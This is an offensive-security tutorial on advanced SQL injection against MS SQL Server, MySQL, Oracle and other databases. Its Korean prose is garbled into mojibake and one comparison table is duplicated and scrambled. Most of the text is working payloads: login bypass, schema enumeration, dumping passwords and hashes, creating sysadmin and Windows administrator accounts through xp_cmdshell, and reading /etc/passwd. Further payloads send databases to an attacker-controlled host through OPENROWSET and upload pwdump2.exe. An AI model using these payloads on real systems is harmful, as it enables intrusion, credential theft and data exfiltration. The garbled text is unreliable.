Advanced SQL Injection
1 κ°μ...0
1.1 SQL Query...0
1.2 DML & DLL...0
1.3 Metabata...0
1.4 μΉ μ΄ν리μΌμ΄μ ...0
1.5 μΌλ°μ μΈ μ·¨μ½ν λ‘κ·ΈμΈ μΏΌλ¦¬...0
2 SQL Injection ν μ€νΈ λ°©λ²λ‘ ...0
1) μ λ ₯ κ° κ²μ¦...0
2) μ 보 μμ§...0
3) 1=1 Attacks...0
5) OS Interaction...0
6) OS λͺ λ Ή ν둬ννΈ...0
7) νμ₯λ ν¨κ³Ό...0
3 ννΌ κΈ°μ ...0
3.1 κ°μ...0
3.2 IDS βsignatureβ μ°ν...0
3.3 μ λ ₯ κ° κ²μ¦ μ°ν νκΈ°...0
3.4 ννΌμ μ°ν...0
4 SQL Injection λμ λ°©μ...0
4.1 κ°μ...0
4.2 νμ§ λ° μ νμν€κΈ°...0
4.3 κ²°λ‘ ...0
1 κ°μ
SQLμ Structured Query Languageμ νμ€μ΄λ©°, μ¬μ©μμκ² λ°μ΄ν° λ² μ΄μ€λ₯Ό μ κ·Ό ν μ μκ² ν΄μ€λ€.
νμ¬ λλΆλΆ SQL99κ° SQL Languageμ νμ€μ΄λ€. SQLμ DBμ λν Queryλ₯Ό μ€ν μν¬ μ μκ³ , DB
λ‘λΆν° μμ /κ²μ/μ½μ /μμ /μ λ°μ΄νΈ ν μ μλ€.
1.1 SQL Query
SQL Languageμλ λ§μ λ€λ₯Έ λ²μ μ΄ μμ§λ§, κ±°μ λΉμ·ν ν€μλμ λͺ λ Ήμ΄λ₯Ό μ§μνλ€.(μ:
SELECT,UPDATE,DELETE,INSERT,WHERE λ±) λλΆλΆμ SQL λ°μ΄ν°λ² μ΄μ€ νλ‘κ·Έλ¨μ SQL νμ€ μΈμ
κ·Έλ€ μμ λ§μ νμ₯λ μΈμ΄λ₯Ό κ°μ§κ³ μλ€. κ΄κ³ν λ°μ΄ν°λ² μ΄μ€λ νλ λλ κ·Έ μ΄μμ ν μ΄λΈμ ν¬ν¨
νκ³ , κ°κ°μ μ΄λ¦μ κ°μ§λ€. ν μ΄λΈμ λ μ½λλ¨μλ‘ λ°μ΄ν°λ₯Ό κ°μ§λ€.
μ) μλμ ν μ΄λΈ λͺ μ βuserβμ΄κ³ νκ³Ό μ΄λ‘μ λ°μ΄ν°κ° μ μ₯λλ€.
userID Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt qwerty
3 Daniel Thompson dthompson dthompson
βͺ λ°μ΄ν° λ² μ΄μ€λ‘ SQL Queryλ₯Ό 보λ΄μ, κ²°κ³Ό κ°μ λλλ € λ°μ μ μλ€. μμ ν μ΄λΈμ μ΄μ©ν΄μ λ€μ
κ³Ό κ°μ Queryλ₯Ό μ¬μ© ν μ μλ€.
a) SELECT LastName FROM users WHERE UserID = 1;
b) κ²°κ³Ό κ°(λ μ½λ μ )
LastName
Smith
1.2 DML & DLL
βͺ Data Manipulation Language(λ°μ΄ν° μ‘°μμ΄) : SELECT ,UPDATE ,INSERT INTO DELETEμ κ°μ΄ λ°
μ΄ν°λ₯Ό μ‘°μνλ μΈμ΄λ₯Ό λ» νλ€.
βͺ Data Definition Language(λ°μ΄ν° μ μμ΄) : λ°μ΄ν° μ μμ΄λ‘μ λ°μ΄ν°λ² μ΄μ€ ν μ΄λΈμ μμ±/μμ ν
κ³ , μΈλ±μ€(ν€)λ₯Ό μ μ, ν μ΄λΈ μ¬μ΄μ κ΄κ³λ₯Ό μ€μ νλ©°, λ°μ΄ν°λ² μ΄μ€ ν μ΄λΈ μ¬μ΄μ μ μ½ μ‘°κ±΄μ
μ€μ νλ€.
μ) CREATE TABLE, ALTER TABLE, DROP TABLEλ±κ³Ό κ°μ ꡬ문
1.3 Metadata
λλΆλΆμ SQL λ°μ΄ν°λ² μ΄μ€λ€μ κ΄κ³ν λ°μ΄ν°λ² μ΄μ€ κΈ°λ°μ΄λ€. SQL Injectionμ μν μ€μν μ¬μ€μ
κ΄κ³ν λ°μ΄ν° λ² μ΄μ€λ Coddμ 12λ²μΉ μ€μμ 4λ²μΉμ νμ€ν λ°λ₯΄κ³ μλ€λ κ²μ΄λ€. μ 4λ²μΉ : λ©ν
λ°μ΄ν°(λ°μ΄ν°λ² μ΄μ€μ κ΄ν λ°μ΄ν°)λ λ°λμ μΌλ°μ μΈ λ°μ΄ν°λ€μ²λΌ λ°μ΄ν°λ² μ΄μ€μ μ μ₯ λμ΄μΌ ν
1.4 μΉ μ΄ν리μΌμ΄μ
λ°μ΄ν°λ² μ΄μ€ μμ§μ μ½μ νλ SQL λͺ λ Ήλ€μ μ ν리μΌμ΄μ μ ν΅ν΄ μ΄μ© κ°λ₯νλ€. μ΄κ²μ μ€λλ μ
λλΆλΆμ 곡ν΅μ μΈ μΉμ¬μ΄νΈμ μ·¨μ½μ μ€μ νλμ΄λ€. μ΄κ²μ Web Applicationμ λ°μ μ λ°λ₯Έ κ²μ΄κ³ ,
DBλ Web Serverμ λ¬Έμ κ° μλλ€. λλΆλΆμ νλ‘κ·Έλλ¨Έλ€μ μ¬μ ν μ΄ λ¬Έμ λ₯Ό μΈμνμ§ λͺ»νλ€. λ§μ
μ§μΉ¨μμ λ°λͺ¨ ν νλ¦Ώμ΄ μ·¨μ½ νλ€. μ¬μ§μ΄ μΈν°λ·μ κ²μλ λ§μ μ루μ λ€λ μ’μ§ λͺ»νλ€. λͺ¨μ ν΄νΉμ
μλ’°ν 60%κ° λλ κ³ κ°μ μμ€ν μ΄ SQL Injectionμ μ·¨μ½νλ€λ κ²°κ³Όλ₯Ό λ΄λλλ€. λλΆλΆμ SQL λ°μ΄
ν°λ² μ΄μ€λ€ κ·Έλ¦¬κ³ νλ‘κ·Έλλ° μΈμ΄λ€μ μ μ¬μ μΌλ‘ μ·¨μ½νλ€. DBMSλ MS SQL Server, Oracle, MySQL,
Postgres, DB2, MS Access, Sybase, Informix λ±μ΄ μ΄λ€.
μ ν리μΌμ΄μ μ ν΅ν λ°μ΄ν°λ² μ΄μ€ μ κ·Ό λ°©λ²
βͺ Perl and CGI scripts
βͺ ASP, JSP, PHP
βͺ XML, XSL and XSQL
βͺ Javascript
βͺ VB, MFC, and other ODBC-based tools and APIs
βͺ DB specific Web-based applications and APIβs
βͺ Reports and DB Applications
βͺ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
1.5 μΌλ°μ μΈ μ·¨μ½ν λ‘κ·ΈμΈ μΏΌλ¦¬
SELECT * FROM users WHERE login = 'victor' AND password = '123'
1) ASP/MS SQL Server λ‘κ·ΈμΈ λ¬Έλ²
var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
a)λ¬Έμλ₯Ό ν΅ν Injection
formusr = ' or 1=1 β β
formpwd = anything
b) μ΅μ’ 쿼리 κ²°κ³Ό
SELECT * FROM users WHERE username = ' ' or 1=1 β βAND password = 'anything'
2) PHP/MySQL λ‘κ·ΈμΈ λ¬Έλ²
a) μ«μ μ λ ₯ νλμ μ½μ
$formacct = 1 or 1=1 #
$formpin = 1111
b) μ΅μ’ 쿼리 κ²°κ³Ό
SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111
2 SQL Injection ν μ€νΈ λ°©λ²λ‘
1) μ λ ₯ κ° κ²μ¦
2) μ 보 μμ§
6) OS λͺ λ Ή ν둬ννΈ
7) νμ₯λ ν¨κ³Ό
4) λ°μ΄ν° μΆμΆ
3) 1=1 곡격 5) OS Interaction
1) μ λ ₯ κ° κ²μ¦
μ·¨μ½μ μ μ΄λλ μ§ μκΈΈ μ μκ³ , μλμ μ¬νμ λͺ¨λ μ²΄ν¬ ν΄μΌ νλ€.
a) μΉ νΌμ νλ
b) URL 쿼리 μ€νΈλ§μ μ€ν¬λ¦½νΈ νλΌλ―Έν° κ°
c) μΏ ν€ λλ νλ νλμ μ μ₯λ κ°
d) μλμ λ¬Έμμ΄μ λͺ¨λ μ λ ₯ νλμ ν μ€νΈν΄μΌ νλ€.
βͺ λ¬Έμ : ' " ) # || + >
βͺ SQL Query λͺ λ Ήμ 곡백(ꡬλΆμ)κ³Ό κ°μ΄:
%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)
'0:0:10'--2) μ 보 μμ§
μλμ νλͺ©λ€μ μμλ΄λ €κ³ μλν΄μΌ νλ€.
a) μΆλ ₯ λ©μ»€λμ¦ μ°κ΅¬νκΈ°
1. μΉ μ ν리μΌμ΄μ μ 쿼리 κ²°κ³Ό κ°μ μ΄μ©νλ€.
2. μλ¬ λ©μμ§ : μλ¬ λ©μμ§λ‘λΆν° μ λ ₯ κ° κ²μ¦μ μ μΆ ν μ μλ€.
3. Blind SQL Injection : μκ°μ μ§μ° λλ μλ¬ λ©μμ§λ₯Ό μ¬μ©νμ¬ μ 보λ₯Ό μΆμΆνλ€. Blind SQL
Injectionμ SQL Injectionκ³Ό κ±°μ λΉμ·νμ§λ§, λ§μ Queryλ₯Ό ν΅ν΄μ μ λ³΄κ° μμ§ν΄μΌ λκ³ , λν ν
λ κ°μ΄λ ν μ΄λΈλͺ κ³Ό κ°μ μ 보λ₯Ό μΆμΈ‘ν΄μΌ νλ―λ‘, λ§€μ° λλ¦¬κ³ λμ± μ΄λ ΅λ€.
β μλ¬ λ©μμ§λ₯Ό ν΅ν΄μ μ 보 μΆμΆ νκΈ°
i. κ·Έλ£Ή ν μλ¬
' group by columnnames having 1=1 - -
ii. νμ μ λΆμΌμΉ
' union select 1,1,'text',1,1,1 - -
' union select 1,1, bigint,1,1,1 - -
iii. λ μ’μ λ°©λ²μΌλ‘, DBμμ νμ Queryλ₯Ό μ΄μ© νλ€.
' and 1 in (select 'text' ) - -
iv. λ°μ΄ν°λ₯Ό CASTλλ CONVERTμ°μ°μλ₯Ό μ΄μ©ν μλ¬λ©μμ§ λμΆλ νμνλ€.
β Blind Injection
i. μΆλ ₯ μ λμ€λ λ€λ₯Έ μΆλ ₯ κ°μ μ΄μ©
' and condition and '1'='1
ii. IFλ¬Έμ μ¬μ©
'; if condition waitfor delay '0:0:5' --
'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
iii. μΆκ°μ μΌλ‘ μ°λ¦¬λ λͺ¨λ νμ μ Queryλ₯Ό μ€ν ν μ μμ§λ§, μΆλ ₯λ μ 보μ λν΄ λλ²κΉ ν μλ μ
λ€. μ°λ¦¬λ λ¨μ§ yes/no μλ΅μ μ»μ μ μλ€. λν, νΉμ νλμ λ°μ΄ν°μ λν ASCIIκ°μ μΆμΆ ν μ
b) 쿼리μ μ΄ν΄
i. SELECT λͺ λ Ήλ¬Έ - λλΆλΆμ Injectionμ SELECT λͺ λ Ήμ μ΄μ©νλ€.
SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 --GROUP BY x HAVING x = y ORDER BY x
ii. UPDATE λͺ λ Ήλ¬Έ β μλμ κ°μ΄ μΉ μ ν리μΌμ΄μ μμ λΉμ μ ν¨μ€μλ λΆλΆμ μμ ν μ μλ€.
UPDATE users SET password = 'new password' WHERE login = logged.user
AND password = 'old password'
c) λ°μ΄ν°λ² μ΄μ€ νμ μ κ²°μ
λλΆλΆμ κ²½μ° μλ¬ λ©μμ§λ μ΄λ€ DBμμ§μ μ¬μ©νλμ§ μΆλ ₯ νλ€. ODBCμλ¬λ DB νμ (λλΌμ΄
λΈ μ 보μ λΆλΆμΌλ‘μ¨)μ λνλΈλ€. λ§μ½μ ODBC μλ¬κ° λ°μνμ§ μμΌλ©΄, μ΄λ€ OSμ Web Severλ₯Ό
μ¬μ©νμ§λ₯Ό μΆμΈ‘ν΄μΌ νκ±°λ νΉλ³ν DBλ¬Έμ, λͺ λ Ήμ΄, μ μ₯λ νλ‘μμ λ₯Ό ν΅ν μλ¬ λ©μμ§λ₯Ό μ¬μ©ν΄μΌ
νλ€.
βͺ DBMSλ³ μ°¨μ΄μ (1)
TEXTPOS() InStr() InStr() InStr() LOCATE() CHARINDEX Position Yes Yes No No No Yes Cast import from export to
Ifnull() " "+" "
DB2 Call COALESCE() ' '||' ' Postgres PL/pgSQL #date#
Iff(Isnull()) " "&" "
Access utf_file select into outfile / dumpfile xp_cmdshell Op Sys interaction
Ifnull() Ifnull()
Isnull() Null
replace
' '||' '
concat
(" ", " ")
' '+' ' Concatenate Strings Oracle PL/SQL MySQL MS SQL T-SQL TEXTPOS() InStr() InStr() InStr() LOCATE() CHARINDEX Position Yes Yes No No No Yes Cast import from export to
Ifnull() " "+" "
DB2 Call COALESCE() ' '||' ' Postgres PL/pgSQL #date#
Iff(Isnull()) " "&" "
Access utf_file select into outfile / dumpfile xp_cmdshell Op Sys interaction
Ifnull() Ifnull()
Isnull() Null
replace
' '||' '
concat
(" ", " ")
' '+' ' Concatenate Strings Oracle PL/SQL MySQL MS SQL T-SQL
βͺ DBMSλ³ μ°¨μ΄μ (2)
d) μ¬μ©μμ κΆν λ 벨μ μμ λΈλ€.
i. μ¬μ©μμ κΆν λ 벨μ μμ λ΄κΈ° μν΄μλ λλΆλΆμ SQLμμ ꡬνλλ SQL99 λ΄μ₯λ μλμ κ°μ
κΈ°λ₯μ κ°μ§κ³ μλ€.
user or current_user
session_user
system_user
' and 1 in (select user ) --
'; if user ='dbo' waitfor delay '0:0:5 '--
' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );
ii. κΈ°λ³Έ κ΄λ¦¬μ κ³μ
sa, system, sys, dba, admin, root λ±
iii. MS SQL μμ dboλ λ§€ν λμ΄ μλ€. μ¬μ©μ dboλ DBμμ λͺ¨λ νλμ μνν μ μλ κΆνμ κ°
μ§κ³ μλ€. μλ²μ κ³ μ λ κ·μ μ μνλ©΄ Sysadminμ DBλ₯Ό μ¬μ©νλ μ΄λ€ μ μ λ κ° DBμμ dboλΌκ³
λΆλ¦¬λ νΉλ³ν μ¬μ©μμκ² λ§€ν λμ΄ μλ€. λν sysadminμ μ΄λ€ μ¬μ©μμ μν΄ λ§λ€μ΄μ§ κ°μ²΄λ μ
λμ μΌλ‘ dboλ₯Ό κ°μ§λ€.
e) OS interaction λ 벨μ κ²°μ
3) 1=1 Attacks
λ°μ΄ν° λ² μ΄μ€, 쿼리ꡬ쑰, κΆνμ κ΄ν μ 보λ₯Ό μκ² λλ©΄, κ³΅κ²©μ΄ κ°λ₯ν΄ μ§λ€.
a) ν μ΄λΈμ μ μλ μ¬μ©μλ₯Ό μ΄κ±°νλ Query
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
b) DBμμ ν μ΄λΈ 컬λΌλͺ μ μ΄κ±°νλ 쿼리
βͺ MS SQL
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
'tablename ')
sp_columns tablename (this stored procedure can be used instead)
βͺ MySQL
βͺ Oracle
SELECT * FROM all_tab_columns WHERE table_name='tablename '
βͺ DB2
SELECT * FROM syscat.columns WHERE tabname= 'tablename '
βͺ Postgres
SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0
c) λͺ¨λ ν μ΄λΈκ³Ό 컬λΌλͺ μ νλμ Queryλ‘ μ§μ νκΈ°
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1,
1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id =
syscolumns.id AND syscolumns.xtype = systypes.xtype --
d) μλ²μμ λ€λ₯Έ λ°μ΄ν°λ² μ΄μ€ μ§μ νκΈ°
' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
e) λ°μ΄ν° λ² μ΄μ€μ νμΌ μμΉ μ§μ νκΈ°
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --
d) κ° DBMSλ³ μμ€ν ν μ΄λΈ
MySQL MS SQL Server Oracle MS Access
mysql.user
mysql.host
mysql.db
sysobjects
syscolumns
systypes
sysdatabases
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TEBLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
MsysACEs
MsysObjects
MsysQueries
MsysRelationships
e) μ¬μ©μκ° μ μλ ν μ΄λΈμμ μ¬μ©μμ΄λ¦κ³Ό ν¨μ€μλ μΆμΆνκΈ°
'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '
from users where login>@var select @var as var into temp end --
' or 1 in (select var from temp) --
f) λ°μ΄ν°λ² μ΄μ€μ κ³μ μμ±νκΈ°
βͺ MS SQL
exec sp_addlogin ' victor ', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
βͺ MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('
Pass123'))
βͺ Access
CREATE USER victor IDENTIFIED BY ' Pass123'
βͺ Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD ' Pass123'
βͺ Oracle
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
g) MS SQL Server ν΄μ¬κ° μΆμΆνκΈ°
i. κ°λ¨ν λ°©λ²
SELECT name, password FROM master..sysxlogins
ii. ν¨μ€μλ ν΄μ¬κ° μΆμΆνκΈ°
ii. ν΄μ¬κ°μ΄ 2μ§μ(binary)μ΄λ―λ‘ 16μ§μ(hex)λ‘ λ³ννλ€.
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +
select @i=@i+1 END
iii. νλ²μ μ€ννλ λͺ λ Ήμ΄
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue
varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select
min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <=
(select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select
@binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue =
'0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while
(@i<=@length) begin declare @tempint int, @firstint int, @secondint int select
@tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING
(@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end
select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where
xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins
where xdate1>@xdate1 and password is not null) end select @var as x into temp end end β
vi. μλ¬ λ©μμ§λ₯Ό ν΅ν΄μ ν΄μ¬ κ° μΆμΆνκΈ°
βͺ ' and 1 in (select x from temp) --
βͺ ' and 1 in (select substring (x, 256, 256) from temp) --
βͺ ' and 1 in (select substring (x, 512, 256) from temp) --
βͺ ' drop table temp --
v. ν¨μ€μλ 무μμ λμ
βͺ SQL ν¨μ€μλ ν¬λ μ€ν¬λ¦½νΈ
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:β©tempβ©passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd,
sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from
sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null
and syslogins.isntgroup=0 and syslogins.isntuser=0
vi. DBꡬ쑰μ λ°μ΄ν° μ μ‘νκΈ°
λ§μ½μ λ€νΈμν¬ μ°κ²°μ΄ λμ΄ μμΌλ©΄ 80λ² ν¬νΈλ₯Ό ν΅ν΄μ 리λ²μ€ μ°κ²°μ΄ μ±λ¦½ ν μ μκ³ , λͺ¨λ DBκ°
μ°λ¦¬μ λ‘컬 SQL μλ²μ μ μ‘ ν μ μλ€. λ°μ΄ν° λ² μ΄μ€μ λ©νλ°μ΄ν° μ μ‘μΌλ‘ λ‘컬 SQL μλ²μ λ
μΌν DBꡬ쑰λ₯Ό μμ± ν μ μλ€.
Step 1. λ‘컬 SQLμλ²μ Victimκ³Ό λμΌν DBꡬ쑰 μμ±
'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --
'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysdatabases')
select * from user_database.dbo.sysobjects --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --
step 2. λ°μ΄ν°λ₯Ό DB ν μ΄λΈμ μλμ λ°©λ²μ ν΅νμ¬ μ½κ² μ μ‘ ν μ μλ€.
'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')
select * from database..table1 --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2')
select * from database..table2 --
5) OS Interaction
OS Interactionμλ λ κ°μ§ λ°©λ²μ΄ μλλ°, λͺ λ Ήμ΄λ₯Ό μ½κΈ°/μ€ν κ°λ₯μ±μ DBμμ§κ³Ό DB μ€μ μ λ¬λ €
μλ€. λ κ°μ§ κ²½μ°λͺ¨λ κΆνμ΄ DB μμ§ κ΄λ¦¬μμκ² μ ν λμ΄μλ€. λ§μ½ μ°λ¦¬κ° νμΌμ μ½κΈ°/μ°κΈ° κ°
λ₯Ό μ€ν ν μ μμΌλ©΄, 무μμ΄λ μ§ ν μ μλ€.
a) MySQL OS Interaction
i. LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
ii. LOAD DATA INFILE
create table temp( line blob );
load data infile '/etc/passwd' into table temp;
select * from temp;
iii. SELECT INTO OUTFILE
b) MS SQL OS Interaction
'; exec master..xp_cmdshell 'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp
where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table
temp; drop table tmp --
βͺ μΉ μλ²μμ DBμ μ κ·Ό νλ ꡬ쑰
λλΆλΆμ κ²½μ° μΉ μλ²μ DBμλ²λ κ°μ§ μκ³ , DBμλ²λ Internetμ μ°κ²° λμ΄ μμ§ μμλ μ ν리μΌ
βͺ λ€νΈμν¬ μ°κ²°μ μ κ·Ό
i. μλ² μ΄λ¦μ μλ¬ λ©μμ§λ‘ μΆλ ₯νκΈ°
' and 1 in (select @@servername ) --
' and 1 in (select srvname from master..sysservers ) --
ii. Reverse lookupsλ₯Ό ν΅ν΄μ IP μ 보 μμ§νκΈ°
'; exec master..xp_cmdshell 'nslookup a.com MyIP' --
iii. Revers pingμ ν΅ν΄μ IP μ 보 μμ§νκΈ°
'; exec master..xp_cmdshell 'ping MyIP' --
iv. OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123;
Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')
βͺ λ€νΈμν¬ μλΉ μ κ²
i. νμ₯ νλ‘μμ xp_cmdshellλ₯Ό μ΄μ©νμ¬ μλμ λͺ λ Ήμ μ€ν
βͺ Ipconfig /all
βͺ Tracert myIP
βͺ arp -a
βͺ nbtstat -c
βͺ netstat -ano
βͺ route print
ii. λ€νΈμν¬ μλΉ μ κ² μ 체 Query
βͺ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >>
test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert
-w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --
βͺ '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
βͺ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp
where txt<@data ; select @data as x into temp end --
βͺ ' and 1 in (select substring(x,1,255) from temp) --
βͺ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table
6) OS λͺ λ Ή ν둬ννΈ
i. OSλ‘ μ ννκΈ°
βͺ Linux based MySQL
' union select 1, (load_file('/etc/passwd')),1,1,1;
βͺ MS SQL Windows Password Creation
'; exec xp_cmdshell 'net user /add victor Pass123'--
'; exec xp_cmdshell 'net localgroup /add administrators victor' --
βͺ Starting Services
'; exec master..xp_servicecontrol 'start','FTP Publishing' --
ii. ActiveX μλ μ€ν¬λ¦½νΈ μ΄μ©
βͺ Speech example
'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '00:00:03' --
iii. λ μ§μ€νΈλ¦¬λ‘λΆν° VNC ν¨μ€μλ μ°ΎκΈ°
βͺ'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWAREβ©ORLβ©WinVNC3β©Default',
@value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--
βͺ' and 1 in (select cast(x as varchar) from temp) --
7) νμ₯λ ν¨κ³Ό
βͺ λ€λ₯Έ DBμλ²μ μ°κ²° νκΈ°
i. MS SQLμ λ§ν¬λ μλ²λ₯Ό μ°ΎκΈ°
ii. OPENROWSET λͺ λ Ήμ μ¬μ©νμ¬ μ½κ² λ€λ₯Έ μλ²λ₯Ό μ κ·Ό ν μ μλ€.
iii. κ°μ μ λ΅μΌλ‘ OPENROWSETμ μ΄μ©ν 리λ²μ€ μ°κ²°λ‘ μ½κ² μ κ·Ό ν μ μλ€.
βͺ λ§ν¬λ μλ²μλ μ μμ΄ κ°λ₯νλ€.
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases
βͺ μ μ₯λ νλ‘μμ λ₯Ό ν΅ν μ격 μ μ μ€ν
λ§μ½μ μ격 μλ²μ μ μ₯λ νλ‘μμ μ€νμ΄ νμ©λμ΄ μλ€λ©΄ κ°λ₯ν κ²μ΄λ€.
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from
mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesql N'select * from
βͺ Reverse μ°κ²°μ ν΅ν νμΌ μ λ‘λ
βͺ '; create table AttackerTable (data text) --
βͺ '; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')
βͺ '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWAREβ©Microsoftβ©MSSQLServerβ©Clientβ©ConnectTo','
MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
βͺ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe c Craw
-SMySrvAlias -Uvictor -PPass123' --
βͺ SQL Injection ν΅ν νμΌ μ λ‘λ
λ§μ½ DBμλ²κ° μΈν°λ· μ°κ²°μ΄ λμ§ μλλΌλ, μ¬μ ν νμΌμ μ λ‘λ λ μ μλ€. κ·Έλ¬λ νμΌμ λ°λ
μ 16μ§μ κ·Έλ¦¬κ³ Query λ¬Έμμ μΌλΆλ‘ 보λ΄μ΄ μ ΈμΌλ§ νλ€. νμΌμ λ°λμ κ° 4000 byteλ‘ λλμ΄ μ Έ
μΌ νλ€.
μ) κ°λ¨ν SQL Injection νμΌ μ λ‘λ
Step 1. λ¨Όμ μ격μμ hexλ₯Ό binaryλ‘ λ³ν ν΄μ€ νλ‘μμ κ° injectionλμ΄μΌ νλ€.
Step 2. λ€μ binaryλ₯Ό hex μ‘°κ°μΌλ‘ Injection ν΄μΌ νλ€.
' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000β¦
β 8000κ°μ hex λ¬Έμ(4000byte) ββ¦0000000000000000000' exec master..sp_hex2bin @hex,
@bin output ; insert master..pwdump2 select @bin --
